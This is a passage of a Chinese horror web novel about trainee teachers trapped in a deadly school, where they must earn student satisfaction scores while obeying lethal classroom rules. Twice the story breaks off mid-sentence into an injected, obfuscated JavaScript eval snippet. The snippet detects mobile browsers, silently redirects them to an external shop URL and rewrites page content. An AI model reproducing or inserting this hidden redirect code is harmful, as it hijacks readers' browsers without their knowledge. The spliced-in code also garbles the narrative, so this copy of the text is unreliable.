沈笑白刚才问这个问题,是想通过人头估算全校一共有多少满意值,够不够他们这批实习老师分的。如果不够,那她要防的就不只是学生和家长了,还有身边这群看似同伴的实习老师。 可方缺不仅看穿了自己的想法,还直接把答案递了过来。 这份洞察力,让沈笑白不寒而栗。 她压下心底的惊骇,不动声色地看向教学楼,数着楼层和班级,核对着方缺刚才说的信息。 1班、2班、3班…20班。 每扇教室门都关得很紧,隐约能听见里面有人声,但听不太清。 沈笑白看向离自己最近的一间教室,透过窗户往里看。 这间教室里坐满了学生。他们穿着整齐的校服,脸上写着编号:学生11号、学生12号、学生13号…… 讲台上站着一个男老师,所有人里,只有他有脸。 五官齐全,但面色惨白,是被吓得。 沈笑白通过这张脸很快判断出来,对方和他们一样,都是掉进错纬的人,应该是比他们早一批掉进来的。 不知道他在这里实习第多少天了,看起来完全没有适应的样子。依然在害怕,眼神慌张,说话时声音都在发抖: “同、同学们,今天我们来讲第三章,请大家翻开课本,认真听讲。” 台下没人理他,都在各玩各的。 11号学生翘着二郎腿,椅子只有两条腿着地,一晃一晃地玩着。12号学生把课本卷成筒,在桌上敲敲打打,根本没人在搭理老师。 男老师见状越来越慌了,一个劲儿地恳求:“求求你们了…好好听课行不行…求你们了…” “老师。”11号学生见状,终于大发慈悲地开了口,“你的课讲得这么无聊,我们怎么听啊?” 老师僵了一下,随即挤出一个比哭还难看的笑:“那、那我讲有趣一点?你们想听什么?只要你们愿意听课,怎么样都行。” “行啊,这可是你说的。” 11号学生来了兴趣,坐直了身体,双手撑在桌上,想了想。 “这样吧,你先去操场,把广播体操做一百遍,一遍都不能错,错了就重来。做完了,再去国旗下念检讨,念一百遍。” “检讨内容就喊:我错了,我再也不拖堂了,再也不占体育课了,你们是我带过最好的一届学生。一个字都不能错。” “你全都做完了,我们就好好听课。” 听到这种事,底下的学生瞬间也来了精神,起哄道: “好啊好啊,这个好玩!” “老师你快去啊,你不是说怎么样都行吗?” “做完了我们就听课,说话算话!” 离谱的是,老师面对这么无理的要求,脸上竟然没有半点难堪,反而满脸欣喜,迫不及待地一口答应下来。 这一幕,把窗外正在参观的实习老师看得面面相觑。 “不是吧,为了拿满意值,得低三下四到这种地步?” “就是啊,这些学生的分也太难拿了吧?被这么刁难都得忍着?” “完了完了,明天轮到我们,不得被玩死……” 纪燃皱了皱眉:“怎么感觉有点奇怪?” 沈笑白嗯了一声:“是很奇怪。” 从头到尾,这个男老师都没有向学生提过一句满意值。 他求的一直都是认真听课。 明明只要攒够100分满意值,拿到招聘合同,就能离开这个错纬,他为什么要去管这些学生上不上课,学不学习? 这就是最奇怪的地方。 13. 第Round(πx4)章 “怎么?看你们很感兴趣的样子,要进去看看吗?” 正当沈笑白百思不得其解的时候,前面的方缺突然转过身来,对着众人热情地介绍起来。 “我们教学楼里可不止有教室,还有攀岩馆,VR馆,射击馆什么都有。” “别的学校可没有这种配置哦,”她看似真诚地邀请道,“真的不要进去参观一下吗?” 众人闻言纷纷摇头,动作出奇地一致。 一想到明天就轮到他们面对这群恶劣的学生,就觉得头疼,只想赶紧离开这栋教学楼,能走多远走多远。 方缺遗憾地说了句那算了,也不勉强,说完就招呼大家跟上,带着众人朝北边走去。 一路上,方缺又带着他们参观了图书馆、游泳馆、小花园几处地方。一圈走下来,众人的心越来越凉,心里的忐忑也越积越重,直到方缺终于停在了本次参观之旅的终点站。 “宿舍楼到了。” 方缺指着众人面前的两栋楼。 两栋并排的宿舍楼出现在眼前,中间只隔着一条不算宽的过道,左边那栋门口写着学生宿舍,右边那栋写着教工宿舍。 两栋楼的大门口都立着醒目的警示牌,白底红字: 23:00后禁止开灯,一经发现,全体开除。 “教工宿舍在右边,各位请吧。”方缺带着众人进了教工宿舍的一楼大厅。 大厅空荡荡的,边上摆着一张长方形的桌子,桌上整整齐齐码着一摞摞东西。 走近了才看清,是一堆教案和课件。 方缺从长桌的抽屉里拿出一串钥匙,给大家一一分配起了宿舍,边分配边说:“明天早上七点,拿上你们的课件,在这里等我,可别迟到了。” 分完了宿舍和钥匙,她拍了拍手,像是在给今天的工作画上一个句号。 “好了,”她说,“祝各位老师在光明中学,拥有一段愉快的实习生活。” 众人连忙点头,嘴里纷纷应着谢谢方主任,方主任慢走,恭恭敬敬的,生怕哪里做得不对就惹到了方缺。 直到方缺那道优雅的背影彻底消失在大家的视线里之后,众人积攒了一路的忐忑,终于在这一刻悉数爆发。 “这学校也太瘆人了,刚才我吓得大气都不敢出!” “就是啊,那些学生折腾起老师来一套一套的,明天咱可咋办啊……” “不行,我们得互相帮衬着点,一起拿满意值,总比一个人瞎琢磨强。” 沈笑白绕开那堆吵吵嚷嚷的人群,朝长桌走去,她想先看看桌上那些课件。 可手还没伸出去拿,一个胖子满脸讨好地凑了上来。 “哎哟姐!姐!你好你好!” 他笑成一团,“自我介绍下,我叫雷子,打雷的雷。” 沈笑白认得他,是在第一间教室嚷嚷着要砸门的胖子,没想到他这么暴躁冲动的脾气,居然活到了现在,真是运气好。 “有事?”沈笑白道。 雷子一脸谄媚地凑近了些:“姐,你太牛了,前面要不是学你我早死了!” “明天你带带我呗,求你了,让我干啥都行,真的,我给你当牛做马,你说东我绝不往西!” 这话一出,边上的人也都不说话了。 前面几场考试,谁不是抄着沈笑白的答案才活下来的?大家早就想求她带了,只是没人敢开口,现在有人起了头,一个个都跟着往上涌。 “姐,也带带我吧,我什么都听你的!” “也带我一个吧,求求了!” 人越围越多,你一句我一句,沈笑白被挤得往旁边退了两步,正要开口说什么时,肩膀突然被人从身后撞了一下。 她整个人往前一栽,踉跄了两步才稳住。 “抱歉,不小心。”那人道。 那道歉声轻飘飘的,话里话外听不出一丝歉意,只有满不在乎。 沈笑白转头看去。 果然,是谢止。 他正站在长桌边上,低头翻着刚拿起来的课件,连眼皮都没抬一下,丝毫没有撞到人的自觉。仿佛刚才撞到的不是一个人,只是一块挡路的石头。 沈笑白这人向来懒得和这些小辈计较,可架不住有人三番两次主动往跟前凑,上赶着讨打。 她嘴角一勾,故意提高音量: “没关系,又没撞疼。要不是你们裁缝铺的人天天在错纬里拼命,我们这些普通平民,怕是早就活不下去了。” 在错纬里,裁缝铺三个字就是大家的定心丸,是大家活命的指望。只要有他们在,所有人都会本能地跟着走,听他们安排,毕竟这也是裁缝铺的职责。 可这次的错纬,谢止摆明了一直在掩藏自己的身份,什么原因沈笑白不知道,她也懒得管。 但现在,她觉得该给这小子添点堵了。 果不其然,此话一出,众人纷纷从沈笑白身边涌向了谢止。 “什么?你是裁缝铺的人?怎么不早说啊!” “哥,你是什么职位?剪师?针娘?还是尺官?” “管他是什么,反正咱们有救了!全靠你了啊大哥,一定要带我们出去啊!” 谢止瞬间被四面八方的人团团围住。一张张嘴在他面前不停地开合,声音叠着声音,问题叠着问题,吵得像是有一百只苍蝇在耳边嗡嗡叫。 他眉头越皱越紧,不自觉地捏紧了拳头,胸膛微微起伏着,像是在压抑着什么。 谢止越过人群,看向那个始作俑者。 沈笑白正一脸笑意地看着这边的热闹,甚至还朝他挥了挥手: “拜拜。” 纪燃站在她身后,嘴角已经压不住了。两个人拿着课件,一前一后转身上了宿舍楼。 才刚拐过楼梯拐角,纪燃就忍不住笑出了声:“你这招绝了哈哈哈哈!” “谢止最烦吵了,你倒好,直接给他送了一堆十万个为什么过去,烦不死他的。” “况且裁缝铺还有铁律,不能对平民动手,”纪燃越想越乐,“他又不能发作,只能硬扛。你看他刚才那个表情,脸都黑了!” 不止纪燃乐得不行,沈笑白的嘴角也压不下来。 两人很快就走到了他们的房间,沈笑白的房间是601,纪燃的是602,门对门。 两间房的布局一模一样,约莫二三十来平米。一张单人床,配了卫生间和小厨房,设备倒是挺齐全的。 唯一奇怪的就是窗户。 只有一扇,被几块木板从里面横七竖八地钉死了。钉得乱七八糟,没完全封死,缝隙有大有小的,透过缝隙能看见外面的情形。 但看那架势,明显是不想让外面的什么东西进来。 纪燃没回自己房间,直接跟着沈笑白进了601,一屁股坐在椅子上。 “还是老规矩?”纪燃道。 沈笑白点头:“嗯。” 这是他们进错纬第一天雷打不动的习惯。两个人住一间,轮流守夜。一个休息,另一个看守,六小时后换班。 毕竟才第一天,什么都不了解的情况下,到处乱闯就是送死,这时候最稳妥的办法就是等。 等别人先踩坑。 等别人触发死亡条件。 然后从别人的死里,找出自己的生路。 而现在他们要做的,就是养精蓄锐。 沈笑白也确实累了,精神一直绷着,需要缓一缓。 床看着挺干净的,但她还是嫌脏。可房间里能休息的地方,除了这张床,就是纪燃坐着的椅子和地板了,相比之下床已经算干净了。 她咬咬牙,硬躺了下去,正准备闭眼睡觉,突然发现少了点什么。 沈笑白:“你那间房有被子吗?” 纪燃:“你要被子干嘛?” “盖一下肚子,”沈笑白说,“怕着凉。” 纪燃:“……” 我们连能不能活过今晚都不一定,这人居然还在操心自己肚脐眼会不会着凉?? “……你肚脐眼上是镶金子了么。”他实在没忍住来了句。 沈笑白懒得理他:“没有就算了,哪来那么多废话。” 她重新躺好,闭上眼准备睡觉。 翻了个身,又翻了个身。 也不是觉得冷,就是心里不踏实。 睡觉盖肚子这事儿,对老年人来说已经成习惯了,不捂着总觉得少了点什么。 想了想,她把两只手掌叠在一起,往肚脐眼上一捂。 嗯,凑合吧。 聊胜于无。 纪燃正好看到这一幕:“……” 沈笑白已经睡着了,没看到他此刻的表情有多无语。 她带着美好的希望沉沉睡去,希望有很多莽撞的笨蛋,会在她睡觉的时候跑出去,把死亡规则试出来。 但。 事与愿违。 六小时后,沈笑白醒来换班,得到的消息是:没人出去,没人死,更没人触犯规则,外面一点动静都没有。 不知道是谢止提点过他们,还是这次掉进错纬的人本来就很聪明,知道第一天不能乱跑。 “还早,”沈笑白尽量往好处想,“说不定一会就有人忍不住出去了。” 结果。 再次事与愿违。 整个下午过去了,宿舍走廊上安安静静的,校园里也没有什么异常。一直到快五点的时候,教学楼方向才传来几声喊叫。 沈笑白走到窗边,透过木板的缝隙往外看。 但太远了,只能看到一个模糊的轮廓。像是一个人,被什么东西拖拽着,拖到了角落里就消失了,然后就彻底没声了。 她没离开,就站在窗边仔细观察着是否有后续。 窗户缝隙里透进来的光,从地面慢慢缩到墙角,从墙角缩到墙根,最后彻底消失了。 沈笑白伸手打开了灯。 校园里随着学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528270|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生放学,一点一点安静下来,直到万籁俱寂,沈笑白才回过神,已经快到十二点了。 她正欲喊纪燃起来换班,走廊上突然传来一阵动静。 咚咚咚。 像是有什么东西,在外面一跳一跳的。 如果只是有动静就算了,问题是,这个声音正在朝他们靠近。它一层一层跳上来,一直跳到了六楼。 “醒醒,有动静了。”沈笑白立刻推醒了纪燃。 纪燃几乎是从床上弹起来的。 他坐起来的瞬间,手已经摸到了自己早就从厨房拿好的刀,眼神从迷糊到清醒,只用了一秒。 沈笑白示意他听外面的声音。 纪燃屏住呼吸,竖起耳朵。 咚咚咚。 那声音隔着门板传进来,沉闷而有节奏,一下一下的,像是什么东西正用双腿蹬地,往前弹跳着。 “大半夜的它要跳到哪儿去?”纪燃道,“一层层蹦过来,脚不累?” “它不是用脚在跳,”沈笑白说,“是用头。” 纪燃全身的汗毛一瞬间全竖起来了。 他脑海里立刻浮现出一个画面,一个类似人形的东西,倒吊着,身体直挺挺地垂下来,头颅一下一下砸在走廊地面上。 咚。咚。咚。 它沿着走廊一路跳过来,跳过了两间、三间、四间……声音越来越近,越来越响。 咚。 它停住了。 就在停在了他们门口。 一股浓烈的霉味顺着门缝涌进来,像是有什么东西正贴在门板上,拼命想要往门里钻。 沈笑白和纪燃紧紧盯着那扇门,精神高度集中,高度戒备。 纪燃握紧刀,青筋暴起,刀尖正对着门口。沈笑白抓住边上的椅子,肌肉绷紧,随时准备抡出去。 时间在这一刻仿佛被无限拉长了,双方不知道这样僵持了多久。 咚。 那声音忽然又响了。 这一次,它顺着走廊往远处去了。一下,两下,离他们越来越远,似乎是继续往前走了。 一直等到那股霉味彻底消失,沈笑白才吐出一口气,微微松下来一些。 她转过头,正准备和纪燃说什么,却看到他的脸色不对。 “它没走。”纪燃指着沈笑白背后,脸色发白,“它在窗外,在冲我们招手。” “用的手背。” 沈笑白瞬间头皮发麻,她立刻看向身后的窗户。 窗户被木条钉死了,但并没有封全。透过缝隙,能隐约看到外面有一个人影倒吊着,头朝下,半张脸挤在缝隙间,嘴角裂开,正在笑,还一下一下地朝他们招手。 可她的手是反的。 手心朝外,手背朝内,完全折了过来,像是被人硬生生拧了180度。 那个姿势也不像是在冲他们打招呼,更像是在说…… 让我进去。 或者,你们出来。 沈笑白刚刚才松懈下来的神经,在这一瞬间重新绷紧,拉到了最高值。 她和纪燃立刻又恢复了刚才那种高度戒备的状态,刀握在手,椅子扣在掌心,两个人的视线钉在窗外,不敢移开分毫。 双方就这样僵持着,不知道过了多久。 那只手突然又缩了回去,那张脸也消失了,窗外瞬间空了。 纪燃盯着那扇空荡荡的窗户,他有些受不了了。 他宁可对方直接破窗进来,开杀、开吃、开打、什么都行,就是别这么一下一下地耗,一来一回地耗。 “一会在门口,一会爬窗户,来了又不进来,就在外面看着,它到底什么意思?在玩我们吗??”纪燃道。 没想到。 一语成谶。 这一整晚都是这样。 每当他们以为对方已经离开,精神稍微松懈一点的时候,那个咚咚咚的声音就会再次出现在门口,或者在窗外阴森森的看着他们,一副随时会闯进来的样子。 两人只能立刻绷紧身体,重新进入戒备状态,刀和椅子再次握紧手中。 然后那东西又消失了。 如此反复。 反复如此。 那种感觉就像坐跳楼机,刚以为落地了,安全了,又猛地弹上去,心脏瞬间被甩到嗓子眼,在顶点吊了一会儿之后,又把你放下来。 这种来来回回的精神折磨,比身体上的折磨更为伤人。 一直到第二天早上七点,看到所有人都顶着一双黑眼圈在宿舍大厅集合的时候,沈笑白就知道。 昨晚谁都不好受,估计全被那东西折腾过了。 “早上好啊各位,昨晚睡得好吗?” 方缺早就站在大厅等他们了,语气轻快,精神饱满,和这群半死不活的人形成了鲜明对比。 “走吧,各位老师们。”她兴奋地拍了拍手,“今天开始正式实习,带好课件,我们现在去教室上课。” 14. 第32 + 5章 昨晚被倒吊的鬼东西折腾了一整夜,沈笑白一直没找到机会把王勇从口袋里放出来。一直拖到今天早上出门前,她才把王勇塞进宿舍桌子的抽屉里,嘱咐他好好待着别动。 毕竟,就算有鬼怪趁他们不在溜进宿舍,也不至于对一只蟑螂感兴趣。王勇待在宿舍,比跟着她去上课要安全。 沈笑白走在去上课的实习老师队伍中间,正想着这事,旁边的纪燃突然发出一声惊呼。 “这课件怎么是全科的?” 他翻着手里的东西,眉头拧成一团,“一个老师要负责所有学科?” 沈笑白看了他一眼:“你昨天没看?” “昨天那情况哪有功夫看啊?” 纪燃把手里的课件翻得哗哗作响,“语数英物化生地史政…这是一个人能教完的?哪来这么全能的老师?” 沈笑白摇摇头,表示她也不理解这个事。 队伍继续往前走,穿过走廊,拐了个弯,教学楼出现在众人面前。 方缺停下脚步:“各位老师,上课的地方到了。” “七点半上课,现在学生还没来,我先带你们去各自的教室,你们提前准备一下。” 说着,便带着众人走进了教学楼。 这是他们第一次真正走进这栋楼,昨天只是在外面匆匆看过一眼。现在每个人都十分紧绷,步子放得很轻,眼睛小心翼翼地往四处扫。 进去的一瞬间,一股潮湿的气味扑面而来。 这股潮气来自脚下。 地板像是今早刚被泼了大量清水,反复拖洗过,你甚至能看出被用力擦拭的痕迹,像是恨不得把地板给磨掉一层。 墙上,断断续续的抓痕从半人高的位置开始,一路往前蔓延,像是有人被拖走时拼命抠着墙留下的痕迹。 但真正让人心里发堵的,还不是这些,而是墙上贴着的名人名言。 不是什么知识改变命运,也不是什么天道酬勤,厚积薄发,而是…… 无成绩,不配爱。 精英永存,次品当死。 优秀是本分,崩溃是耻辱,扛不住是你的问题。 众人的脸色都不太好看,纷纷别过头去,不想再多看那些字,所有人都需要缓一缓。 但方缺没给他们消化情绪的时间,她很快就把大家带到了各自的班级门口,每个人进去前都很贴心地嘱咐了一句: “记住,每个学生身上只有10分的满意值,要抓紧时间哦。” 说是嘱咐,其实是挑拨。 一共就那么多分,谁先抢到就是谁的。这些实习老师本来就不熟,这话一出口,等于在每个人心里埋了一根刺。 纪燃被分到了五班,沈笑白在七班,两个教室隔了两间。 纪燃在进自己班级之前,特意绕过来对沈笑白说:“有状况随时喊我,别硬撑。” 沈笑白看着他一脸认真的样子,觉得有点好笑:“我们俩到底是谁更容易出状况?” 说完就径直走向七班,没理会身后满脸不服气的纪燃。 推开七班门的前一秒,她还在暗笑纪燃那个憋屈的表情。可下一秒,她整个人就僵在教室门口,脸上血色褪了个干净。 完了。 她现在终于明白,昨天那个男老师为什么没有求学生给满意值,反而一直在求着学生们好好听课。 因为比满意值更重要的东西出现了。 只见黑板上,工工整整写着一行大字。 课堂守则一:老师需按照课件授课,同时监督学生认真听课(严禁使用暴力)。 难怪昨天那个男老师为了让学生好好听课,多无理的要求都欣然接受。 满意值没达标,那也至少是10天后实习到期才会死,而违反课堂守则,是当场死。 孰轻孰重,一目了然。 沈笑白呼吸微微一滞,她看了眼墙壁上的挂钟。 七点二十。 还有十分钟。 十分钟后,那群学生就会进来上课。必须得在他们进来前,找到应对这条规则的方法。 看昨天那个架势,这群学生摆明了就是故意不听课,故意让你违规,故意想看你死。偏偏规则还要求不能使用暴力,你只能求着这群学生好好听课,由着他们使唤你,戏弄你。 最可怕的是,戏弄完了他们也未必会听课。他们的目的只有一个,就是弄死每一个实习老师。 沈笑白不敢再浪费时间,快速扫视起了教室。 五十张课桌椅整整齐齐摆在中间,前面是一块黑板。黑板边上挂着一块显示屏,投屏用的,再就是讲台,讲台上内嵌着一台电脑,黑色的,关着机。 她冲上讲台,手刚碰到桌面,电脑屏幕就突然亮了。像是检测到有老师来了一样,自动解锁开机。 桌面上只有两个文件夹:学生座位表和电子课件。 沈笑白急忙点开检查,却失望地发现,座位表只是座位表,每个座位对应一个学生的名字,仅此而已。 电子课件也只是电子课件,和他们手里的纸质版一模一样。没有任何特别之处,也没有任何有用的信息。 她的心一点点往下沉,反复点开又关闭,盯着屏幕看了又看,手在鼠标上越攥越紧。 就在此刻,走廊里突然响起了声音。 是脚步声,还有说话声。这些声音从走廊那头涌过来,越来越近。 来不及了。 学生来了。 “哟,真巧啊,新来的老师居然是你?”门口传来一个声音。 沈笑白心里一沉,她认得这个声音。 学生21号,章磊。 是第二场面试时假扮考官骗他们去死,被她当场揭穿的那个人。 真是冤家路窄。 章磊走进教室,浑身的兴奋劲都快溢出来了:“真是老天开眼啊,上次让你跑了,这次你倒是自己送上门来了。” 他瞥了眼沈笑白脖子上的电子项圈:“负一千分?” “沈笑白,你死定了!哈哈哈!”他大笑起来,笑得前仰后合的,“不用我出手,你这次也死定了!” 沈笑白脸上看不出什么情绪,只是淡淡回了一句: “章磊同学,见到老师直呼其名?你这么多年书都读到狗肚子里去了?” 章磊被骂也没有生气,笑着耸了耸肩:“行,就喊你沈老师,让你在死之前过过老师瘾,反正你也活不过今天了!” 说完,他晃到座位上,一屁股坐下来,翘起二郎腿,整个人往椅背上一靠,一副等着看好戏的样子。 紧接着上课铃响了,其他的学生也陆陆续续进来了。 一张张只写着编号的脸,兴冲冲地跑进教室,沈笑白来不及细看,只能通过声音和校服分辨出他们的性别。 他们迫不及待地冲到自己的座位上,刚一坐下,就忍不住催促起来。 “快上课啊!快开始啊!” “是啊,我们等不及了!” “老师你紧张什么呀?我们又不吃人~” 他们这幅模样,看起来就像是一群着急玩新玩具的孩子。 沈笑白定了定神,思考片刻后开口道: “别急同学们,今天第一天上课,老师要先熟悉一下课件。这节课你们自习,我们不上课。” 这是沈笑白现在唯一能想到的办法。 周围没有任何有用的信息,她只能选择钻规则的漏洞。 规则写的是课堂守则,那只要她今天不上课,不进入课堂的范畴,是不是就不用遵守这个规则? 可话音刚落,台下的章磊就直接笑出了声。 他笑得肩膀都在抖,边笑边摇头:“沈老师,你这个主意确实挺好的,但是很可惜……” “只要上课铃响了,课堂就算正式开始,你现在已经在课堂规则里了,必须按规则给我们上课,还得监督我们好好听课。” “你逃不掉的。” 沈笑白眼神中闪过一丝慌乱,但很快就被她压了下去。 她看向章磊,嘴角一弯:“章磊同学,谢谢你的提醒,原来上课铃不响就不算上课,就不用遵守课堂规则。” “明天上课前,老师会记得,先去把广播室砸了的。” 章磊的笑声顿了一下,他意识到自己说漏嘴了,但很快他就又笑了起来:“明天?你连今天都活不过去,想屁吃呢。” 沈笑白嘴上是赢了,可实际问题还是没解决。 她现在必须按照规则开始上课,但只要开始上课,底下的学生一定不会好好听课。 不听课,她就会违规。 沈笑白一时间陷入僵局,进退两难。 就在此时,隔壁班的教室里,突然传来一阵广播声。 【检测到6班学生未认真听课,将派出学习委员进行纠正】 广播声音刚落,一声惨叫就响了起来:“不!不要!再给我一次机会!救命啊——!” 一阵咔嚓咔嚓声随之响起,听上去像是骨头被硬生生掰断的声音。 紧接着,惨叫声戛然而止。 取而代之的,是一种沉闷的拖拽声,像有什么重物在地上被拖着走。 那声音从隔壁教室出来,到了走廊上,越来越近。 沈笑白闻声看向走廊,正好看见6班的实习老师从她的教室门口被拖过去。 他的四肢已经完全错位。 手臂朝后,手肘朝前,脖子歪成一个不可能的角度,脑袋耷拉着,全身的血不要命地往外渗,整个人像一只被拆开后,又重新错位拼接的木偶。 好像有什么东西正拽着他的脚踝,一路往前拖拽着。 可他那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528271|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只脚踝上,明明什么都没有,只有空气。 他被拖到走廊尽头,不知去向,只留下满满一地的血迹。 这一幕看得沈笑白是头皮发麻,手不自觉地攥紧了讲台边缘。但下一刻,让她更头皮发麻的事情来了。 沈笑白教室的广播也响了。 【检测到7班老师未按课件开始授课,请在五分钟内纠正,否则,将派出学习委员进行辅助】 广播刚落,后排就有学生跟着起哄:“沈老师,再不开始上课,你就要和门外那个老师一样了!” “对啊,快开始啊!别磨蹭了!” 章磊这会反倒是不急了,他故作关心地说:“沈老师,你是不是不敢开始啊?怕我们故意捣乱不听课?” 他假装苦恼地想了想,然后叹了口气:“不如这样吧,你跪下来求求我们,再磕一百个头,我们一会儿就好好听课,绝不捣乱,怎么样?” 听到这个提议,边上的学生立刻兴奋了起来。 “这个好啊!快跪快跪!” “求求我们啊!跪得高兴我们就不折腾你了!” “快点快点,时间不多了!” 台下的学生越闹越欢,有拍桌子的,有拍手的,还有往讲台上丢东西催促的,一个比一个过分。 而讲台上的沈笑白,此刻却没有表露出丝毫怒气。 她只是蹙了蹙眉,仔细看了看台下的学生,又转身看向黑板上的规则。 课堂守则一:老师需按照课件授课,同时监督学生认真听课(严禁使用暴力)。 有点不对劲。 按照这个规则的内容,明明更适配的写法是教师守则,或者老师守则,为什么偏偏是课堂守则? 更不对劲的是,总共就一条规则,为什么还要写个守则一?明明直接写守则就好了。 沈笑白脑中灵光一闪,所有碎片在这一刻自动拼上了。 她懂了。 沈笑白重新看向这些学生,嘴角微微上扬: “同学们别急,在上课前,老师先点个名,挨个认识一下你们,点到的同学要举手喊到。” 她没管下面的学生是否答应,直接打开讲台上的电脑,点开学生座位表。 她随手点了一个名字:“王浩。” 第二排第三个。 结果那个位置上的学生却没出声,反倒是离了十万八千里的章磊,兴奋地举起手:“到!沈老师!我就是王浩!” 底下的学生瞬间哄笑起来: “对对对,老师他就是王浩!” “没错没错,他就是!” 他们不知道沈笑白在搞什么名堂,但也无所谓,反正她今天是死定了,看她还能玩出什么花来。 沈笑白倒是不意外他们会捣乱,她故作疑惑地皱了皱眉:“哦?你才是王浩?那这个座位表写错了啊。” “没关系,老师帮你改一下。” 说着,她把电脑上原本章磊的位置改成了王浩。 章磊瞬间慌了神,他直接站起来喊道:“哎不是!我不是王浩!我是章磊!你把我位子给王浩了,我坐哪儿啊?!” 沈笑白抬起头,笑眯眯地看着他:“你猜。” “猜猜看老师会把你的位置改到哪里?猜对了有奖励,奖励你一个脑瓜崩儿。” 章磊怔在原地,彻底慌了神,能看到他额头渗出了一些细密的汗珠。 不止是他。 台下所有的学生都安静了,他们肉眼可见地都慌了。 因为他们知道沈笑白猜到了。 她猜到了黑板上原本有两条课堂守则,一条针对老师,一条针对学生。 她不仅猜到了守则二的存在,还猜到了它的内容。 课堂守则二:学生禁止离开自己的座位。 他们原本想把两条规则都擦掉,这样更绝,但可惜只能擦掉自己那条,老师那条擦不掉。 这群学生万万没想到,居然会有老师的观察力这么强,能猜到这一步。 其实也不能怪沈笑白太敏锐,是他们的马脚漏得太明显了。 从昨天起她就觉得奇怪,这些学生摆明了要戏弄老师,那为什么不直接上台去捉弄?做鬼脸,推老师,打架,这样不是更有意思? 偏偏一个个都老老实实待在座位上,最多站起来吆喝几句。 带着这个疑惑,再去看黑板上那条孤零零的课堂守则一,还有电脑里的座位表,所有碎片一下子就全连上了。 “怎么样,同学们?” 沈笑白双手撑讲台上,看着台下这群脸色惨白的学生们,不紧不慢道: “是要让我继续改座位表,让你们所有人都找不到自己的座位,我们大家一起违规,一起死。” “还是乖乖听我上课。” “你们自己选。” 15. 第3x5章 学生们瞬间哑了火,陷入了沉默。 命脉都被人捏住了,还能怎么办?再闹下去谁都别想活。 这种沉默本身就是一种回答,他们认栽了,妥协了。 沈笑白读懂了这个信号,她没再等,赶在五分钟倒计时结束前的最后几秒,打开电脑上的课件,投到黑板边的屏幕上。 几乎是屏幕亮起的瞬间,广播就响了: 【检测到七班老师已按课件开始授课,请继续监督学生们好好听课】 沈笑白垂下眼,暗自松了口气,她的后背其实已经起了一层薄汗。但由于她刚才那股大不了一起死的气势实在太足了,硬是没让一个学生看出异样。 只有她自己知道,刚才那几分钟时间,她绷得有多紧。但凡她露出一丝怯,被这些学生看出来,他们就会立刻反扑,抓住规则一反过来威胁她。 到时候互相僵持,谁也不让谁,直至拖到超时违规,那死的就是她。 “怎么是德育课?” 前排有个学生小声嘀咕了一句,“课表上写的第一节是政治课啊……” 这学生的嘀咕声虽然不大,但由于教室此刻过于安静,沈笑白还是听见了。 “今天上午的课全改成德育。”她回了一句。 “就你们刚才那个德行,也配学政治?先学学怎么做人。” 沈笑白道:“所有人看着屏幕,把整本德育课件从头到尾抄一遍,下课前抄不完的,我会改你的座位表。” 底下的学生愣了片刻,随即才反应过来,沈笑白这是在变着法子骂人呢,骂他们不是人,得回炉重造。 一股股火气直往头上顶,但把柄又被人捏着,他们一个字都骂不出口,只能强压下火气,低下头开始抄写。 就连脾气最暴躁的章磊此刻都毫无办法,只能埋头狂抄。只是每个人肚子里都叽里咕噜的,像是在小声骂着什么,听不太清。 沈笑白坐在讲台上,看着底下终于安静下来的学生,心里的那根弦,却一点没松。 眼下的危机是暂时化解了,但更大的麻烦还在后头。 满意值。 自己今天这群学生的梁子算是结瓷实了。他们现在是被她掐着脖子才低的头,等脖子一松,他们第一个要弄死的人就是沈笑白。 自己想从他们身上拿到满意值?简直难于登天。 沈笑白在脑中飞速盘算了一个又一个方案,又一个个否决。就这么想了一整个上午,直到下课铃打响的时候,她还没想到解决办法。 不过,她很快就顾不上想这些了。 因为伴随下课铃响起的,还有她脖子上的项圈。 项圈微微一震,一个提示音从项圈里响起: 【满意值更新中】 【收到50位学生的打分】 听到五十这个数字,沈笑白条件反射地看向讲台下方。 只见所有学生都不约而同地撸起了袖子,露出手腕上戴着的黑色电子手环。然后五十根手指,同时在手环上轻点了一下。 【章磊,满意度评分:-5】 【王浩,满意度评分:-2】 【李思琪,满意度评分:-3】 …… 全班五十个人,全打了负数,没有一个是正数。 【沈笑白的当前满意值:-1250】 这个数字听得沈笑白的太阳穴突突直跳,她现在终于明白方缺为什么反复提醒他们要抓紧时间拿分。 全校一共两万分的满意值,十五个实习老师平均能分到一千三百多分,而通过考核只要一百分,按理说绰绰有余。 但那是在分数只涨不跌的前提下。 现在,这个分数可正可负。两万分,或许根本不够他们用的。 情况真是比她预想的还要糟糕。 正在沈笑白头疼之际,章磊率先耐不住性子,从座位上站起来,下巴一扬,挑衅道: “沈老师,我们特意给你凑的250分,你喜不喜欢啊?哈哈哈哈!” 他说完,边上学生也都跟着哄笑出声。 沈笑白听了也没恼,甚至还笑了下,然后出乎所有人意料地回了一句: “非常喜欢。” 学生们:“……” 有病吧这人。 沈笑白反过来挑衅道:“怎么不把手上的10分全打完?是不敢吗?这么没种?” “还是说……你们喜欢老师,不舍得给我打最低分?” 台下的怒气被瞬间点燃。 “你放屁!” 章磊直接跳起来,伸手就去摸手环,他要把剩下的5分也扣了,让这个不知死活的老师看看到底是谁没种。 